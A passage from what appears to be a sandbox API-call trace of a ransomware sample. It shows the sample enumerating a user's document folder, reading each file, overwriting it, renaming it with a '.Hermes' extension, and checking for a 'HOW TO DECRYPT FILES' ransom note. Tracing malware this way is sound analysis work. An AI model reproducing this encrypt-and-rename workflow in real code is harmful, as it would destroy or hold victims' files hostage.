ftLastWriteTime.dwLowDateTime=0xc4063000, ftLastWriteTime.dwHighDateTime=0x1d4c7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb170 [0092.123] FindNextFileW (in: hFindFile=0xfdb170, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31363e70, ftCreationTime.dwHighDateTime=0x1d4d3ef, ftLastAccessTime.dwLowDateTime=0xc4063000, ftLastAccessTime.dwHighDateTime=0x1d4c7a8, ftLastWriteTime.dwLowDateTime=0xc4063000, ftLastWriteTime.dwHighDateTime=0x1d4c7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.123] FindNextFileW (in: hFindFile=0xfdb170, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619f1890, ftCreationTime.dwHighDateTime=0x1d4c5a1, ftLastAccessTime.dwLowDateTime=0x90479480, ftLastAccessTime.dwHighDateTime=0x1d4cd8d, ftLastWriteTime.dwLowDateTime=0x90479480, ftLastWriteTime.dwHighDateTime=0x1d4cd8d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iPxRamNOgEfL6vt-WkOO", cAlternateFileName="IPXRAM~1")) returned 1 [0092.123] FindNextFileW (in: hFindFile=0xfdb170, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.123] FindClose (in: hFindFile=0xfdb170 | out: hFindFile=0xfdb170) returned 1 [0092.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1b8) returned 1 [0092.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1c4) returned 1 [0092.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19df2c) returned 1 [0092.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO", nBufferLength=0x105, lpBuffer=0x19d9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO", lpFilePart=0x0) returned 0x3d [0092.124] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\*", lpFindFileData=0x19dc54 | out: lpFindFileData=0x19dc54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619f1890, ftCreationTime.dwHighDateTime=0x1d4c5a1, ftLastAccessTime.dwLowDateTime=0x90479480, ftLastAccessTime.dwHighDateTime=0x1d4cd8d, ftLastWriteTime.dwLowDateTime=0x90479480, ftLastWriteTime.dwHighDateTime=0x1d4cd8d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdadf0 [0092.124] FindNextFileW (in: hFindFile=0xfdadf0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619f1890, ftCreationTime.dwHighDateTime=0x1d4c5a1, ftLastAccessTime.dwLowDateTime=0x90479480, ftLastAccessTime.dwHighDateTime=0x1d4cd8d, ftLastWriteTime.dwLowDateTime=0x90479480, ftLastWriteTime.dwHighDateTime=0x1d4cd8d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.124] FindNextFileW (in: hFindFile=0xfdadf0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4951780, ftCreationTime.dwHighDateTime=0x1d4c75e, ftLastAccessTime.dwLowDateTime=0xb3a3b2b0, ftLastAccessTime.dwHighDateTime=0x1d4d20b, ftLastWriteTime.dwLowDateTime=0xb3a3b2b0, ftLastWriteTime.dwHighDateTime=0x1d4d20b, nFileSizeHigh=0x0, nFileSizeLow=0x77c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="5hwK.doc", cAlternateFileName="")) returned 1 [0092.124] FindNextFileW (in: hFindFile=0xfdadf0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x333a2be0, ftCreationTime.dwHighDateTime=0x1d4cd38, ftLastAccessTime.dwLowDateTime=0xaafff1e0, ftLastAccessTime.dwHighDateTime=0x1d4d2de, ftLastWriteTime.dwLowDateTime=0xaafff1e0, ftLastWriteTime.dwHighDateTime=0x1d4d2de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="77bIp480yHDf0", cAlternateFileName="77BIP4~1")) returned 1 [0092.124] FindNextFileW (in: hFindFile=0xfdadf0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39cf9750, ftCreationTime.dwHighDateTime=0x1d4c84d, ftLastAccessTime.dwLowDateTime=0x4d5b5c0, ftLastAccessTime.dwHighDateTime=0x1d4cb4a, ftLastWriteTime.dwLowDateTime=0x4d5b5c0, ftLastWriteTime.dwHighDateTime=0x1d4cb4a, nFileSizeHigh=0x0, nFileSizeLow=0x16af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BidZp6v2gDszq.ods", cAlternateFileName="BIDZP6~1.ODS")) returned 1 [0092.125] FindNextFileW (in: hFindFile=0xfdadf0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2f36190, ftCreationTime.dwHighDateTime=0x1d4d2bf, ftLastAccessTime.dwLowDateTime=0xd9818180, ftLastAccessTime.dwHighDateTime=0x1d4cbfb, ftLastWriteTime.dwLowDateTime=0xd9818180, ftLastWriteTime.dwHighDateTime=0x1d4cbfb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HhXhtU9gOiLGZ", cAlternateFileName="HHXHTU~1")) returned 1 [0092.125] FindNextFileW (in: hFindFile=0xfdadf0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56521ef0, ftCreationTime.dwHighDateTime=0x1d4d123, ftLastAccessTime.dwLowDateTime=0xf9da620, ftLastAccessTime.dwHighDateTime=0x1d4d4eb, ftLastWriteTime.dwLowDateTime=0xf9da620, ftLastWriteTime.dwHighDateTime=0x1d4d4eb, nFileSizeHigh=0x0, nFileSizeLow=0xd01b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NeCh.csv", cAlternateFileName="")) returned 1 [0092.125] FindNextFileW (in: hFindFile=0xfdadf0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ba55f00, ftCreationTime.dwHighDateTime=0x1d4d4c6, ftLastAccessTime.dwLowDateTime=0x53a57b50, ftLastAccessTime.dwHighDateTime=0x1d4cbda, ftLastWriteTime.dwLowDateTime=0x53a57b50, ftLastWriteTime.dwHighDateTime=0x1d4cbda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PVOgT", cAlternateFileName="")) returned 1 [0092.125] FindNextFileW (in: hFindFile=0xfdadf0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769b320, ftCreationTime.dwHighDateTime=0x1d4c917, ftLastAccessTime.dwLowDateTime=0x4c37fcd0, ftLastAccessTime.dwHighDateTime=0x1d4d54e, ftLastWriteTime.dwLowDateTime=0x4c37fcd0, ftLastWriteTime.dwHighDateTime=0x1d4d54e, nFileSizeHigh=0x0, nFileSizeLow=0xda7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RwxQrbJr.rtf", cAlternateFileName="")) returned 1 [0092.125] FindNextFileW (in: hFindFile=0xfdadf0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843e4270, ftCreationTime.dwHighDateTime=0x1d4cc5b, ftLastAccessTime.dwLowDateTime=0xd2cfb180, ftLastAccessTime.dwHighDateTime=0x1d4d2b4, ftLastWriteTime.dwLowDateTime=0xd2cfb180, ftLastWriteTime.dwHighDateTime=0x1d4d2b4, nFileSizeHigh=0x0, nFileSizeLow=0xf694, dwReserved0=0x0, dwReserved1=0x0, cFileName="xg-IksAN4PG lT.ods", cAlternateFileName="XG-IKS~1.ODS")) returned 1 [0092.125] FindNextFileW (in: hFindFile=0xfdadf0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.126] FindClose (in: hFindFile=0xfdadf0 | out: hFindFile=0xfdadf0) returned 1 [0092.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dee8) returned 1 [0092.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19def4) returned 1 [0092.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19df2c) returned 1 [0092.126] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO", nBufferLength=0x105, lpBuffer=0x19d9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO", lpFilePart=0x0) returned 0x3d [0092.126] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\*", lpFindFileData=0x19dc54 | out: lpFindFileData=0x19dc54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619f1890, ftCreationTime.dwHighDateTime=0x1d4c5a1, ftLastAccessTime.dwLowDateTime=0x90479480, ftLastAccessTime.dwHighDateTime=0x1d4cd8d, ftLastWriteTime.dwLowDateTime=0x90479480, ftLastWriteTime.dwHighDateTime=0x1d4cd8d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb3b0 [0092.126] FindNextFileW (in: hFindFile=0xfdb3b0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619f1890, ftCreationTime.dwHighDateTime=0x1d4c5a1, ftLastAccessTime.dwLowDateTime=0x90479480, ftLastAccessTime.dwHighDateTime=0x1d4cd8d, ftLastWriteTime.dwLowDateTime=0x90479480, ftLastWriteTime.dwHighDateTime=0x1d4cd8d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.126] FindNextFileW (in: hFindFile=0xfdb3b0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4951780, ftCreationTime.dwHighDateTime=0x1d4c75e, ftLastAccessTime.dwLowDateTime=0xb3a3b2b0, ftLastAccessTime.dwHighDateTime=0x1d4d20b, ftLastWriteTime.dwLowDateTime=0xb3a3b2b0, ftLastWriteTime.dwHighDateTime=0x1d4d20b, nFileSizeHigh=0x0, nFileSizeLow=0x77c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="5hwK.doc", cAlternateFileName="")) returned 1 [0092.127] FindNextFileW (in: hFindFile=0xfdb3b0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x333a2be0, ftCreationTime.dwHighDateTime=0x1d4cd38, ftLastAccessTime.dwLowDateTime=0xaafff1e0, ftLastAccessTime.dwHighDateTime=0x1d4d2de, ftLastWriteTime.dwLowDateTime=0xaafff1e0, ftLastWriteTime.dwHighDateTime=0x1d4d2de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="77bIp480yHDf0", cAlternateFileName="77BIP4~1")) returned 1 [0092.127] FindNextFileW (in: hFindFile=0xfdb3b0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39cf9750, ftCreationTime.dwHighDateTime=0x1d4c84d, ftLastAccessTime.dwLowDateTime=0x4d5b5c0, ftLastAccessTime.dwHighDateTime=0x1d4cb4a, ftLastWriteTime.dwLowDateTime=0x4d5b5c0, ftLastWriteTime.dwHighDateTime=0x1d4cb4a, nFileSizeHigh=0x0, nFileSizeLow=0x16af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BidZp6v2gDszq.ods", cAlternateFileName="BIDZP6~1.ODS")) returned 1 [0092.127] FindNextFileW (in: hFindFile=0xfdb3b0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2f36190, ftCreationTime.dwHighDateTime=0x1d4d2bf, ftLastAccessTime.dwLowDateTime=0xd9818180, ftLastAccessTime.dwHighDateTime=0x1d4cbfb, ftLastWriteTime.dwLowDateTime=0xd9818180, ftLastWriteTime.dwHighDateTime=0x1d4cbfb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HhXhtU9gOiLGZ", cAlternateFileName="HHXHTU~1")) returned 1 [0092.127] FindNextFileW (in: hFindFile=0xfdb3b0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56521ef0, ftCreationTime.dwHighDateTime=0x1d4d123, ftLastAccessTime.dwLowDateTime=0xf9da620, ftLastAccessTime.dwHighDateTime=0x1d4d4eb, ftLastWriteTime.dwLowDateTime=0xf9da620, ftLastWriteTime.dwHighDateTime=0x1d4d4eb, nFileSizeHigh=0x0, nFileSizeLow=0xd01b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NeCh.csv", cAlternateFileName="")) returned 1 [0092.127] FindNextFileW (in: hFindFile=0xfdb3b0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ba55f00, ftCreationTime.dwHighDateTime=0x1d4d4c6, ftLastAccessTime.dwLowDateTime=0x53a57b50, ftLastAccessTime.dwHighDateTime=0x1d4cbda, ftLastWriteTime.dwLowDateTime=0x53a57b50, ftLastWriteTime.dwHighDateTime=0x1d4cbda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PVOgT", cAlternateFileName="")) returned 1 [0092.127] FindNextFileW (in: hFindFile=0xfdb3b0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769b320, ftCreationTime.dwHighDateTime=0x1d4c917, ftLastAccessTime.dwLowDateTime=0x4c37fcd0, ftLastAccessTime.dwHighDateTime=0x1d4d54e, ftLastWriteTime.dwLowDateTime=0x4c37fcd0, ftLastWriteTime.dwHighDateTime=0x1d4d54e, nFileSizeHigh=0x0, nFileSizeLow=0xda7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RwxQrbJr.rtf", cAlternateFileName="")) returned 1 [0092.128] FindNextFileW (in: hFindFile=0xfdb3b0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843e4270, ftCreationTime.dwHighDateTime=0x1d4cc5b, ftLastAccessTime.dwLowDateTime=0xd2cfb180, ftLastAccessTime.dwHighDateTime=0x1d4d2b4, ftLastWriteTime.dwLowDateTime=0xd2cfb180, ftLastWriteTime.dwHighDateTime=0x1d4d2b4, nFileSizeHigh=0x0, nFileSizeLow=0xf694, dwReserved0=0x0, dwReserved1=0x0, cFileName="xg-IksAN4PG lT.ods", cAlternateFileName="XG-IKS~1.ODS")) returned 1 [0092.128] FindNextFileW (in: hFindFile=0xfdb3b0, lpFindFileData=0x19dc60 | out: lpFindFileData=0x19dc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843e4270, ftCreationTime.dwHighDateTime=0x1d4cc5b, ftLastAccessTime.dwLowDateTime=0xd2cfb180, ftLastAccessTime.dwHighDateTime=0x1d4d2b4, ftLastWriteTime.dwLowDateTime=0xd2cfb180, ftLastWriteTime.dwHighDateTime=0x1d4d2b4, nFileSizeHigh=0x0, nFileSizeLow=0xf694, dwReserved0=0x0, dwReserved1=0x0, cFileName="xg-IksAN4PG lT.ods", cAlternateFileName="XG-IKS~1.ODS")) returned 0 [0092.128] FindClose (in: hFindFile=0xfdb3b0 | out: hFindFile=0xfdb3b0) returned 1 [0092.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dee8) returned 1 [0092.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19def4) returned 1 [0092.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc", nBufferLength=0x105, lpBuffer=0x19d850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc", lpFilePart=0x0) returned 0x46 [0092.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dd94) returned 1 [0092.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\5hwk.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.129] GetFileType (hFile=0x304) returned 0x1 [0092.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd90) returned 1 [0092.129] GetFileType (hFile=0x304) returned 0x1 [0092.129] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19de90 | out: lpFileSizeHigh=0x19de90*=0x0) returned 0x77c9 [0092.129] ReadFile (in: hFile=0x304, lpBuffer=0x324ac2c, nNumberOfBytesToRead=0x77c9, lpNumberOfBytesRead=0x19de3c, lpOverlapped=0x0 | out: lpBuffer=0x324ac2c*, lpNumberOfBytesRead=0x19de3c*=0x77c9, lpOverlapped=0x0) returned 1 [0092.129] CloseHandle (hObject=0x304) returned 1 [0092.216] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d954, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19de08) returned 1 [0092.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19de84 | out: lpFileInformation=0x19de84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19de04) returned 1 [0092.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc", nBufferLength=0x105, lpBuffer=0x19d83c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc", lpFilePart=0x0) returned 0x46 [0092.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dd80) returned 1 [0092.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\5hwk.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.218] GetFileType (hFile=0x304) returned 0x1 [0092.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd7c) returned 1 [0092.218] GetFileType (hFile=0x304) returned 0x1 [0092.218] WriteFile (in: hFile=0x304, lpBuffer=0x302b8e0*, nNumberOfBytesToWrite=0x77d0, lpNumberOfBytesWritten=0x19de30, lpOverlapped=0x0 | out: lpBuffer=0x302b8e0*, lpNumberOfBytesWritten=0x19de30*=0x77d0, lpOverlapped=0x0) returned 1 [0092.219] CloseHandle (hObject=0x304) returned 1 [0092.220] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc", nBufferLength=0x105, lpBuffer=0x19d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc", lpFilePart=0x0) returned 0x46 [0092.220] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc.Hermes", nBufferLength=0x105, lpBuffer=0x19d960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc.Hermes", lpFilePart=0x0) returned 0x4d [0092.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19de14) returned 1 [0092.221] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\5hwk.doc"), fInfoLevelId=0x0, lpFileInformation=0x19de90 | out: lpFileInformation=0x19de90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4951780, ftCreationTime.dwHighDateTime=0x1d4c75e, ftLastAccessTime.dwLowDateTime=0xb3a3b2b0, ftLastAccessTime.dwHighDateTime=0x1d4d20b, ftLastWriteTime.dwLowDateTime=0xb06faeea, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x77d0)) returned 1 [0092.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19de10) returned 1 [0092.221] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\5hwk.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\5hwK.doc.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\5hwk.doc.hermes")) returned 1 [0092.221] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv", nBufferLength=0x105, lpBuffer=0x19d850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv", lpFilePart=0x0) returned 0x46 [0092.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dd94) returned 1 [0092.221] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\nech.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.221] GetFileType (hFile=0x304) returned 0x1 [0092.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd90) returned 1 [0092.222] GetFileType (hFile=0x304) returned 0x1 [0092.222] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19de90 | out: lpFileSizeHigh=0x19de90*=0x0) returned 0xd01b [0092.222] ReadFile (in: hFile=0x304, lpBuffer=0x3033718, nNumberOfBytesToRead=0xd01b, lpNumberOfBytesRead=0x19de3c, lpOverlapped=0x0 | out: lpBuffer=0x3033718*, lpNumberOfBytesRead=0x19de3c*=0xd01b, lpOverlapped=0x0) returned 1 [0092.222] CloseHandle (hObject=0x304) returned 1 [0092.256] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d954, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19de08) returned 1 [0092.256] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19de84 | out: lpFileInformation=0x19de84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19de04) returned 1 [0092.256] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv", nBufferLength=0x105, lpBuffer=0x19d83c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv", lpFilePart=0x0) returned 0x46 [0092.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dd80) returned 1 [0092.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\iPxRamNOgEfL6vt-WkOO\\NeCh.csv" (normalized: "c:\\users\\fd1hvy\\documents\\kqnw_ppqezhhvh\\ipxramnogefl6vt-wkoo\\nech.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.257] GetFileType (hFile=0x304) returned 0x1 [0092.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dd7c) returned 1 [0092.257] GetFileType (hFile=0x304) returned 0x1 [0092.257] WriteFile (in: hFile=0x304, lpBuffer=0x30a76d4*, nNumberOfBytesToWrite=0xd020, lpNumberOfBytesWritten=0x19de30, lpOverlapped=0x0 | out: lpBuffer=0x30a76d4*, lpNumberOfBytesWritten=0x19de30*=0xd020, lpOverlapped=0x0) returned 1 [0092.259] CloseHandle (hObject=0x304) returned 1 [0092.260] GetFullPathNameW 